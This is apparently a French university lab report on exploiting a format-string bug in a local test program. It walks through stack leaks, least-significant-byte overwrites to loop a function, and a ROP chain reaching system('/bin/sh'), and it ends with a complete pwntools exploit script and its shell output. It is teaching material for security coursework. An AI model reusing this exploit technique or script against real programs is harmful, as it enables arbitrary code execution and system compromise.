

Exploitation des chaînes de format

CSC_4CS03_TP – Cyberattaques : menaces et mises en œuvre

Thomas Cadegros Yahya Moustahsane



Février 2026

- 1 Analyse préliminaire du programme
- 2 Extraction d'informations via GDB
- 3 Calcul des distances pour la chaîne ROP
- 4 Préparation de la charge utile
- 5 Construction de la boucle d'exploitation
- 6 Déclenchement final et obtention du shell
- 7 Script d'exploitation

1. Analyse préliminaire du programme

Détection de la vulnérabilité

Payload injecté : AAAA %p %p %p %p %p

```
1 $ ./vuln
2 Please Insert an IP address to ping:
3 AAAA %p %p %p %p %p
4 AAAA 0x5acad81676b1 0xfbad2288 0x7e170491ba91 0x5acad81676c4 0x410
```

- Le programme **interprète** les spécificateurs au lieu de les afficher
- Les valeurs hexadécimales affichées sont des **données de la pile**

⇒ Vulnérabilité **Format String** confirmée (CWE-134)

Cause et capacités d'exploitation

Origine : l'entrée utilisateur est passée directement comme format string

Vulnérable :

```
1 printf(user_input);
```

Sécurisé :

```
1 printf("%s", user_input);
```

Deux vecteurs d'attaque :

- **Lecture** (`%p` , `%x` , `%s`) : fuite d'adresses mémoire → contournement ASLR/PIE
- **Écriture** (`%n` , `%hn` , `%hhn`) : écriture en mémoire → détournement du flux d'exécution

2. Extraction d'informations via GDB

Injection : `AAAAAAAA %7$p %27$p` pour inspecter la pile

```
1 (gdb) run
2 Please Insert an IP address to ping:
3 AAAAAAAAA %7$p %27$p
4 AAAAAAAAA 0xffffffffdc38 0x5555555554f3
```

Rappel convention x86_64 :

- 6 premiers arguments dans les registres (RDI, RSI, RDX, RCX, R8, R9)
- `%7$p` = premier mot sur la pile (au-delà des registres)

Mot n°7 : 0x7fff...dc38

- Adresse de la **pile** (stack)
- Pointeur vers une variable locale ou le buffer
- Cible d'écriture avec `%7$n`

Mot n°27 : 0x5555...54f3

- Adresse du segment **.text** (PIE)
- = **Saved RIP** (adresse de retour)
- Preuve : $0x54f3 - 5 = 0x54ee$ (instruction `call`)

Cartographie de la pile

Offset	Contenu	Description
%7\$p	0x7fff...dc38	Sommet de pile (RSP)
%8\$p - %26\$p	...	Variables locales + padding
%27\$p	0x5555...54f3	Saved RIP (retour vers main)
%28\$p	...	Zone stable (stockage "/bin/sh")

Conclusion : distance Saved RIP – sommet pile = $20 \times 8 = 160$ octets

3. Calcul des distances pour la chaîne ROP

Identification du gadget `pop rdi ; ret`

Pas d'instruction explicite `pop rdi` dans le binaire, mais :

```
1 0x5555555555562 <+98>: pop %r15 ; opcode: 41 5f
2 0x5555555555564 <+100>: ret ; opcode: c3
```

- `pop r15 = 41 5f`, `pop rdi = 5f`
- En sautant 1 octet : le CPU exécute `5f c3 = pop rdi ; ret`

Adresse gadget = $0x5555555555562 + 1 = 0x5555555555563$

Élément	Adresse
Référence – Saved RIP	0x...54f3
Gadget – pop rdi ; ret	0x...5563
system@plt	0x...5100

Distances relatives :

- $\Delta_{\text{Gadget}} = 0x5563 - 0x54f3 = +\mathbf{0x70}$ (112 octets)
→ < 256 : atteignable en modifiant 1 seul octet (LSB)
- $\Delta_{\text{System}} = 0x5100 - 0x54f3 = -\mathbf{0x3F3}$ (-1011 octets)
→ Offset constant, calculé à partir du leak d'adresse

4. Préparation de la charge utile

Placement de la chaîne `"/bin/sh"`

Objectif : appeler `system("/bin/sh")` → RDI doit pointer vers `"/bin/sh"`

Emplacement choisi : **Mot n°28** (juste après le Saved RIP)

- Dans la stack frame de `main` → zone **stable** entre les itérations
- Contrairement aux variables locales de `makePing` (réinitialisées à chaque appel)

Encodage Little Endian :

- `/bin/sh\0` → 2f 62 69 6e 2f 73 68 00
- Entier 64 bits : 0x0068732f6e69622f

Organisation de la ROP Chain

Ordre exec.	Position	Contenu
1	Saved RIP	Adresse Gadget (pop rdi ; ret)
2	RIP + 8	Adresse de "/bin/sh"
3	RIP + 16	Adresse de system

Écriture en ordre inverse (du haut vers le bas) :

- 1 Écrire system en RIP+16 → la boucle continue
- 2 Écrire adresse de "/bin/sh" en RIP+8 → la boucle continue
- 3 Écraser Saved RIP avec le Gadget → **la ROP chain se déclenche**

Si on écrasait le Saved RIP en premier, la boucle se briserait avant que les arguments soient en place → crash.

5. Construction de la boucle d'exploitation

Mécanisme de réinvocation (LSB Overwrite)

Principe : modifier le dernier octet du Saved RIP pour reboucler sur makePing

```
1 0x555555554ee <+24>: call makePing ; <-- cible (LSB =0xee)
2 0x555555554f3 <+29>: mov $0x0,%eax ; <-- Saved RIP actuel (LSB =0xf3)
```

Pourquoi seulement le LSB ?

- PIE/ASLR randomise l'adresse de base, mais les 12 bits de poids faible restent **constants** (alignement 4 Ko)
- `%hhn` écrase uniquement 1 octet → pas besoin de connaître l'adresse complète
- Remplacement : 0xf3 → 0xee (distance = 5 octets)

3 itérations successives :

① Itération 1 – Préparation de system

- Écrire adresse de system en **RIP+16** (mot 29)
- Écraser LSB du Saved RIP avec 0xee → makePing redémarre

② Itération 2 – Préparation de "/bin/sh"

- Écrire adresse de "/bin/sh" en **RIP+8** (mot 28)
- Écraser LSB du Saved RIP avec 0xee → makePing redémarre

③ Itération 3 – Déclenchement

- Écraser Saved RIP avec l'adresse du gadget (LSB = 0x63)
- ⇒ `pop rdi ; ret` → `system("/bin/sh")` → **shell obtenu**

6. Déclenchement final et obtention du shell

Pourquoi ne pas sauter directement sur `pop rdi ; ret` ?

- ❶ **Alignement pile** : x86_64 exige un alignement 16 octets pour certaines fonctions GLIBC
- ❷ **Glissement** : le gadget `ret` dépile la valeur suivante → tombe sur notre ROP chain

LSB Overwrite (même technique que la boucle) :

- Saved RIP actuel : `0x...14f3`
- Gadget RET cible : `0x...14f9`

→ Écraser 1 octet : `0xf3` → `0xf9`

```
1 payload =f"%{addr_ret_lsb}c%7$hhn" # addr_ret_lsb =0xf9 =249
```

Séquence d'exécution finale

- ① LSB du Saved RIP : `0xf3` → `0xf9`
- ② `ret` de `makePing` → saute sur le gadget `ret` du `main`
- ③ Gadget `ret` → dépile l'adresse de `pop rdi ; ret`
- ④ `pop rdi` → charge l'adresse de `"/bin/sh"` dans `RDI`
- ⑤ `ret` → saute sur `system()`

⇒ **Shell interactif obtenu**

Démonstration

```
1  [*] ===Etape 3 : Ecriture de la chaine ROP ===
2  [*] Ecriture de 0x5f51 a l'adresse 0x7ffc71bc57e4
3  [*] Ecriture de 0x6e69622f a l'adresse 0x7ffc71bc57e8
4  [*] Ecriture de 0x68732f a l'adresse 0x7ffc71bc57ec
5  [*] Payload envoye (Valeur cible: 0xf9)
6  [*] Switching to interactive mode
7
8  ping: %249c%7: Name or service not known
9  $ echo "Hello World !"
10 Hello World !
11 $ echo "TP termine"
12 TP termine
```

Exploitation réussie – accès shell confirmé.

7. Script d'exploitation

Script – Configuration et leak des adresses

```
1 from pwn import *
2 import re
3
4 prog = "./vuln"
5 context.arch = 'amd64'
6 p = process(prog)
7
8 # Offsets
9 OFFSET_BUFFER = 16
10 DIST_BUFFER_RBP = 80
11 DIST_SAVEDRBP_RBP = 0x20
12 DIST_SAVEDRIP_GADGET = -0x70
13 DIST_SAVEDRIP_SYSTEM = 0x3F3
14 DIST_SAVEDRIP_RET = -0x6
15
16 # ==Etape 1 : Leak des adresses ==
17 p.recvuntil(b"address to ping:")
18 payload = "%26$16p | %27$16p%203c%7$hhn"
19 p.sendline(payload.encode())
20
21 raw_response = p.recvuntil(b"ping").decode(errors='ignore')
22 leaks = re.findall(r"(0x[0-9a-fA-F]+)", raw_response)
23 saved_rbp = int(leaks[0], 16)
24 saved_rip = int(leaks[1], 16)
```

- Leak de Saved RBP (offset 26) et Saved RIP (offset 27)
- Simultanément : écriture de 0xEE sur le LSB pour maintenir la boucle

Script – Calcul des adresses et ROP chain

```
1  # ==Etape 2 : Calcul des adresses ==
2  addr_rbp =saved_rbp -DIST_SAVEDRBP_RBP
3  addr_ret =saved_rip -DIST_SAVEDRIP_RET
4  addr_system =saved_rip -DIST_SAVEDRIP_SYSTEM
5  addr_gadget =saved_rip -DIST_SAVEDRIP_GADGET
6  addr_str =addr_rbp + 40
7  addr_rip =addr_rbp + 8
8
9  # Definition de la chaine ROP
10 rop_chain={
11     addr_rbp + 16 : addr_gadget, # pop rdi; ret
12     addr_rbp + 24 : addr_str, # adresse de "/bin/sh"
13     addr_rbp + 32 : addr_system, # system@plt
14     addr_rbp + 40 : u64(b'/bin/sh\x00'), # chaine brute
15 }
```

Distances relatives calculées depuis le Saved RIP :

- Gadget pop rdi; ret : +0x70 | System : -0x3F3 | Gadget ret : +0x6

Script – Boucle d'écriture de la ROP chain

```
1  # ==Etape 3 : Ecriture de la chaine ROP ==
2  for addr, value in rop_chain.items():
3      mask32 =(1 << 32) -1
4      writes_sequence =[
5          (addr, value & mask32),
6          (addr + 4, (value >> 32) & mask32),
7      ]
8      for target_addr, part_value in writes_sequence:
9          p.recvuntil(b"Please Insert an IP address to ping: ")
10         current_writes ={
11             target_addr: part_value, # Partie de la ROP chain
12             addr_rip: 0xee # Maintien de la boucle
13         }
14         payload =fmtstr_payload(
15             offset=OFFSET_BUFFER,
16             writes=current_writes,
17             write_size='short'
18         )
19         p.sendline(payload)
```

- Chaque valeur 64 bits est écrite en 2 blocs de 32 bits (LSB puis MSB)
- 0xEE est réécrit à chaque itération pour boucler sur makePing

Script – Déclenchement final

```
1 # ==Etape 4 : Trigger ==  
2 addr_ret_lsb =addr_ret & 0xff  
3  
4 payload =f"%{addr_ret_lsb}c%7$hhn"  
5 p.recvuntil("Please Insert an IP address to ping: ".encode())  
6 p.sendline(payload.encode())  
7  
8 p.interactive()
```

Dernière itération :

- On n'écrit plus 0xEE (boucle) mais 0xF9 (gadget ret)
- Le flux d'exécution glisse vers la ROP chain → system("/bin/sh")

⇒ Shell obtenu